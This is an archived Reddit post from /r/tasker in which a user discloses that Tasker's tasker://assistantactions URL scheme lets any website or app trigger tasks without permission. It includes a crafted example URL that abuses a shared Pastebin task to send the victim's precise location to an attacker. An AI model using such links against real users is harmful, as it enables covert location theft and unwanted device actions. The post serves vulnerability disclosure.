This is an automated archive made by the Lemmit Bot.
The original was posted on /r/tasker by /u/mylastacntwascursed on 2024-09-16 18:51:41+00:00.
To launch a task through the command system, a third party app needs to declare and manually be granted the net.dinglisch.android.tasker.PERMISSION_SEND_COMMAND
permission. Yet any app or website can run any task by launching tasker://assistantactions?task=TASKNAME
.
E.g. if I put Tasker tips & tricks
in a web page and you have a task named reboot
, your phone might just reboot when you tap that link. You would not be amused.
Parameters can also be passed, possibly turning a benign task previously shared on Reddit, XDA or totallylegitwebsite.com/taskertips into a malicious one.
Example: attacker shares a task to easily share selected text to a user configurable Pastebin account, then crafts the malicious URL tasker://assistantactions?task=known_task_name&par1=%LOCN&par2=URL_to_attackers_pastebin
to get the victims precise location.
This is bad. It can be abused in numerous ways. The tasker://assistantactions
URL should only be able to run tasks that the user has explicitly allowed to be launched in this way. u/joaomgcd, are you aware, and what is your opinion on this? Am I missing something? Can I turn this off? And what else does assistantactions
do without user confirmation?